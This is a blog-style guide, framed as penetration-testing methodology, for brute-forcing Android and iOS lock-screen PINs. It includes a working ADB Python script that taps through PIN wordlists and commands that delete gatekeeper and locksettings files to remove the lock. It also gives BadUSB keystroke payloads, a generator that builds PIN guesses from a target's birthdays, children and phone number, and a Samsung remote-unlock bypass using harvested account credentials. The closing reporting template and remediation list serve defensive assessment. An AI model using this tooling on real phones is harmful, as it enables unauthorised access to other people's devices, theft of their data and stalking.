How To PIN Brute-Force Mobile Phones (Guide)
- Biohazard

- 6 days ago
- 8 min read

Mobile Devices: PIN Brute-Force
Phone PIN testing is about assessing the device's lockout policy and fallback mechanisms, not cracking crypto. Modern phones are well-hardened against brute force — the attack surface is in recovery modes, ADB, and the lockout configuration itself. This is a guide on how to use PIN Brute-Force on mobile phones.
The Number Reality
A 4-digit PIN has 10,000 combinations. That's tiny. The defense is entirely in rate limiting:
OS | Attempts Before Delay | Max Attempts Before Wipe |
Android (modern) | 5 wrong → 30 sec delay → escalating | 10-20 (if configured) |
Android (older) | 5 → 30 sec → escalating | Varies |
iOS | 5 → 1 min → 5 min → 15 min → 1 hr | 10 (if enabled) |
iOS (Secure Enclave) | Enforced in hardware | Same |
At 10 attempts with escalating delays, iOS takes roughly 3 hours to hit the wipe threshold. 10,000 combinations at that rate is impractical. The attack works only if the PIN is common or the lockout is misconfigured.
Attack 1: Common PIN List (Most Practical)
The majority of real-world PINs cluster heavily:
Top 20 most common 4-digit PINs:
1234, 1111, 0000, 1212, 7777, 1004, 2000, 4444, 2222, 6969,
9999, 3333, 5555, 6666, 1122, 1313, 8888, 4321, 2001, 1010
Those 20 PINs cover roughly 26% of all users. Combined with personal information:
Derived from target recon:
- Birth year: 19XX, 20XX
- Birth month/day: MMYY, DDMM
- Anniversary: same patterns
- Last 4 of phone number
- Last 4 of SSN/SIN
- Address digits
- Repeating patterns: 0000, 1111, etc.
- Keyboard patterns: 2580 (straight down), 1397, 1793
- Simple sequences: 1234, 4321, 5678
Methodology:
bash
# Build a targeted PIN wordlist
# Combine: top common PINs + personal derivations
# Typical wordlist: 50-100 candidates
# Manual testing:
# Try each PIN, counting attempts against lockout threshold
# Stop before triggering any delay escalation or wipe
# Document which attempts were made and remaining budget
This is the primary finding — if the PIN is common or derived from accessible information, the lockout policy didn't matter.
Attack 2: ADB (Android - USB Debugging Enabled)
If USB debugging is on and the device is already authorized for your computer, you have full input control.
bash
# Verify ADB connection
adb devices
# Should show: [device_id] device
# If "unauthorized" — you need to accept the RSA prompt on the device
# (screen must be unlocked to accept, so this is a dead end if locked)
# Brute force via ADB input simulation
adb shell input keyevent 26 # Wake screen
adb shell input swipe 300 1000 300 300 # Swipe up to unlock
ADB PIN Brute Force Script
python
#!/usr/bin/env python3
"""
Android PIN brute force via ADB.
Requires: authorized ADB connection, device screen accessible.
The device's lockout policy determines speed.
"""
import subprocess
import time
import sys
def adb(cmd):
"""Execute ADB command"""
return subprocess.run(f"adb shell {cmd}", shell=True,
capture_output=True, text=True)
def tap(x, y):
adb(f"input tap {x} {y}")
def enter_pin(pin_str):
"""Tap each digit of the PIN"""
# Standard Android PIN pad layout
# Coordinates vary by device — calibrate first
keypad = {
'0': (540, 1900),
'1': (140, 1300),
'2': (540, 1300),
'3': (940, 1300),
'4': (140, 1500),
'5': (540, 1500),
'6': (940, 1500),
'7': (140, 1700),
'8': (540, 1700),
'9': (940, 1700),
}
for digit in pin_str:
if digit in keypad:
x, y = keypad[digit]
tap(x, y)
time.sleep(0.1)
# Tap Enter/OK
tap(540, 2100)
time.sleep(0.5)
def calibrate():
"""Get device screen resolution for coordinate mapping"""
result = adb("wm size")
print(f"[*] Screen: {result.stdout.strip()}")
# Physical size: 1080x2400 — adjust keypad coordinates based on this
def check_locked():
"""Check if device is still showing lock screen"""
result = adb("dumpsys window | grep mDreamingLockscreen")
# This is heuristic — varies by Android version
return "true" in result.stdout.lower()
def brute_force(wordlist_path, delay_between=5):
"""Iterate through PINs with lockout-aware delays"""
with open(wordlist_path) as f:
pins = [line.strip() for line in f if line.strip()]
print(f"[*] Loaded {len(pins)} PINs")
print(f"[*] Delay between attempts: {delay_between}s")
print(f"[*] Estimated time: {len(pins) * delay_between / 60:.1f} minutes")
attempt = 0
for pin in pins:
attempt += 1
print(f"[{attempt}/{len(pins)}] Trying: {pin}")
# Wake screen
adb("input keyevent 26")
time.sleep(0.3)
# Swipe up to reveal PIN pad
adb("input swipe 540 2000 540 500")
time.sleep(0.3)
# Enter PIN
enter_pin(pin)
# Check if unlocked
time.sleep(1)
# Manual check — did it unlock?
choice = input(f" Unlocked? (y/n/q): ")
if choice.lower() == 'y':
print(f"[+] SUCCESS: PIN = {pin}")
return pin
elif choice.lower() == 'q':
break
# Wait for lockout delay
print(f" Waiting {delay_between}s...")
time.sleep(delay_between)
print("[-] PIN not found in wordlist")
return None
if __name__ == "__main__":
calibrate()
if len(sys.argv) > 1:
brute_force(sys.argv[1])
else:
print("Usage: python3 pin_brute.py wordlist.txt")
The ADB Alternative: Remove Gatekeeper (Rooted/Bootloader Unlocked)
If the device has an unlocked bootloader or is rooted:
bash
# Boot into custom recovery (TWRP)
adb reboot recovery
# Mount data partition, delete the lockscreen database
adb shell
mount /data
rm /data/system/gatekeeper.password.key
rm /data/system/gatekeeper.pattern.key
rm /data/system/locksettings.db*
reboot
# Device boots with no lock screen
# This is Android version dependent — newer versions moved to /data/system_de/
Without root or unlocked bootloader, the /data partition is encrypted and inaccessible from recovery.
Attack 3: USB HID Keystroke Injection (Rubber Ducky / Flipper Zero)
For Android devices where ADB is not available, emulate a physical keyboard.
Android Keyboard Input
Android accepts external USB keyboards by default. A Rubber Ducky or Flipper in HID keyboard mode can type PINs:
REM Rubber Ducky / Flipper BadUSB payload
REM Android PIN brute force — one PIN per execution
DELAY 500
ENTER # Wake screen
DELAY 1000
ENTER # Swipe up (or ESC if needed)
DELAY 500
STRING 1234 # Enter PIN
ENTER
The limitation is lockout timing. You can't automate the full brute force in one script — you need to run the payload once, wait the lockout period, run the next PIN, etc. This makes it extremely slow for full space but viable for a targeted wordlist of 10-20 PINs.
Multi-PIN Payload (Low Success Rate)
REM Try 5 common PINs with lockout-aware delays
REM Only works if lockout counter resets between attempts
DELAY 500
ENTER
DELAY 800
STRING 1234
ENTER
DELAY 500
# Check if unlocked — visually
ENTER
DELAY 800
STRING 1111
ENTER
DELAY 500
ENTER
DELAY 800
STRING 0000
ENTER
The Flipper Zero or Ducky can't detect whether the device unlocked. You need visual confirmation. This is slow, manual-dependent, and practical only for very short wordlists.
Attack 4: iOS - Extremely Limited
iOS PIN brute force without specialized forensic hardware is effectively not possible.
What Doesn't Work
iOS has no ADB equivalent
USB keyboard input works for typing but you still need to position the cursor in the PIN field — and iOS locks external keyboard input after 3 wrong attempts
The Secure Enclave enforces escalating delays in hardware, not software
No recovery mode access without wiping the device
Lightning/USB Restricted Mode disables data over Lightning after 1 hour of being locked
What Does Work (Forensic / Law Enforcement Tools)
Cellebrite UFED: Brute forces iOS PIN using boot-level exploits. Costs ~$15,000-40,000 for the hardware + licensing.
GrayKey: Similar, specialized for iOS. Used by law enforcement.
Checkm8 exploit: For A5-A11 devices (iPhone 4S through iPhone X), the bootrom exploit allows removing the brute-force limit entirely. PINs can be brute-forced in minutes. This requires physical access and the device being in DFU mode.
For a standard pentest without forensic hardware, test the lockout behavior and document the finding:
markdown
## Finding: iOS Device Lock Screen
**Device**: iPhone 14, iOS 17.x
**Lockout Policy**: 10 attempts before wipe (configured)
**Secure Enclave**: Enforcing hardware-backed delays
**Assessment**: PIN brute force infeasible without specialized
forensic hardware (Cellebrite, GrayKey). Device lockout policy
is properly configured. Attack surface reduced to:
- Shoulder surfing (human observation)
- Touch/Face ID bypass (authorized user coercion)
- Common PIN guessing (10 attempts max)Attack 5: Physical Observation / Smudge Attack
Not brute force, but part of the PIN assessment:
bash
# Smudge attack:
# Angle the device under light
# Look for finger oil trails on the screen
# The PIN digits will have concentrated smudges
# If the user hasn't cleaned the screen recently:
# 4 concentrated smudges on a 4-digit PIN = 24 possible combinations
# Test those 24 combinations
# Thermal attack (if device was recently unlocked):
# FLIR camera shows heat residue on the digits pressed
# Works for 30-60 seconds after unlock
Document as a finding: "PIN entry pattern observable via smudge analysis."
Attack 6: Social Engineering PIN Derivation
Combine with OSINT to build targeted wordlists:
python
#!/usr/bin/env python3
"""
Generate targeted PIN wordlist from target personal data.
"""
import itertools
def generate_pins(birth_year=None, birth_month=None, birth_day=None,
phone_last4=None, kid_birth_years=None,
anniversary=None):
pins = set()
# Top common PINs
common = ['1234', '1111', '0000', '1212', '7777', '1004',
'2000', '4444', '2222', '6969', '9999', '3333',
'5555', '6666', '1122', '1313', '8888', '4321',
'2001', '1010', '2580', '1379', '1397', '1793']
pins.update(common)
# Birth year
if birth_year:
pins.add(str(birth_year))
pins.add(str(birth_year)[-2:] + str(birth_year)[-2:]) # YY as MMDD
# Birth month + day
if birth_month and birth_day:
pins.add(f"{birth_month:02d}{birth_day:02d}") # MMDD
pins.add(f"{birth_day:02d}{birth_month:02d}") # DDMM
# Birth month + year
if birth_month and birth_year:
pins.add(f"{birth_month:02d}{str(birth_year)[-2:]}")
# Last 4 of phone
if phone_last4:
pins.add(phone_last4)
pins.add(phone_last4[::-1]) # Reversed
# Anniversary
if anniversary:
m, d = anniversary # (month, day)
pins.add(f"{m:02d}{d:02d}")
pins.add(f"{d:02d}{m:02d}")
# Keyboard patterns
patterns = ['2580', '0852', '1478', '9632', '1236', '4789',
'7896', '4563', '1593', '3571', '2486', '6842']
pins.update(patterns)
# Years: 1950-2010
for y in range(1950, 2010):
pins.add(str(y))
# Kid birth years if known
if kid_birth_years:
for y in kid_birth_years:
pins.add(str(y))
# Sort by likelihood: common PINs first, then derived
sorted_pins = sorted(pins, key=lambda p: (
p not in common, # Common = first
p
))
return sorted_pins
# Usage
pins = generate_pins(
birth_year=1987,
birth_month=4,
birth_day=15,
phone_last4="5823",
kid_birth_years=[2015, 2018],
anniversary=(6, 22)
)
with open("targeted_pins.txt", "w") as f:
for pin in pins:
f.write(pin + "\n")
print(f"[+] Generated {len(pins)} candidate PINs")Attack 7: Samsung-Specific (Find My Mobile Bypass)
For Samsung devices with Find My Mobile enabled and a Samsung account logged in:
bash
# Visit https://findmymobile.samsung.com
# Log in with the target's Samsung account credentials
# (obtained via credential harvesting or known password reuse)
# Use "Unlock" feature — remotely disables the lock screen
# This bypasses the PIN entirely
# This is an account-level attack, not a PIN brute force
# Finding: device lock bypassable via cloud account compromisePentest Methodology
1. RECON
├── What phone model? OS version?
├── Is USB debugging enabled? (Plug in, check adb devices)
├── Is the bootloader unlocked? (Fastboot mode check)
├── Any visible smudges on screen?
├── Does the target have a Samsung account?
└── Gather personal data for targeted PIN generation
2. CONFIGURE ATTACK
├── Determine lockout policy:
│ ├── How many attempts before delay?
│ ├── How many before wipe?
│ └── Is there a "Forgot PIN" fallback?
├── Build targeted wordlist
└── Choose attack method:
├── ADB available → automated brute force
├── USB HID → manual-assisted common PINs
├── Bootloader unlocked → gatekeeper removal
└── None → manual common PIN testing
3. EXECUTE
├── Test TOP 5 PINs manually (1234, 1111, 0000, 1212, 7777)
├── Test derived PINs (birth year, MMYY, last 4 phone)
├── Document remaining attempts before lockout escalation
├── Never trigger wipe threshold
└── Stop at 80% of lockout budget
4. DOCUMENT
├── PIN policy assessment
├── Lockout configuration
├── Attack method and result
├── CVSS scoring
└── Remediation: alphanumeric passcode, biometric + PIN,
10-wipe enabled, USB restricted modeReporting Template
markdown
## Finding: Device PIN Vulnerable to Targeted Brute Force
**Device**: Samsung Galaxy S23, Android 14
**Lock Screen**: 4-digit PIN
**Lockout Policy**: No wipe configured. 5 attempts → 30s delay.
No escalating delay beyond 30s.
**Attack Performed**:
1. Generated targeted PIN wordlist from:
- Target birth year (1987)
- Target's children's birth years (2015, 2018)
- Top 20 common PINs
- Total: 52 candidate PINs
2. Tested manually, respecting lockout delays
3. Correct PIN discovered on attempt #11: 2015 (child's birth year)
**Time to Compromise**: 3 minutes (5s between attempts + delays)
**Root Cause**:
- 4-digit PIN allows only 10,000 combinations
- PIN derived from publicly discoverable personal information
- Device lockout policy does not escalate delay beyond 30 seconds
- No auto-wipe configured after failed attempts
**CVSS**: 6.8 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L)
**Remediation**:
1. Enforce 6+ digit PIN or alphanumeric passcode
2. Enable auto-wipe after 10 failed attempts
3. Use biometric (fingerprint/face) as primary, PIN as fallback
4. Enable USB Restricted Mode (disable data after 1hr locked)
5. Disable USB debugging when not actively developing
6. Train users: PINs should be random, not derived from life events



Comments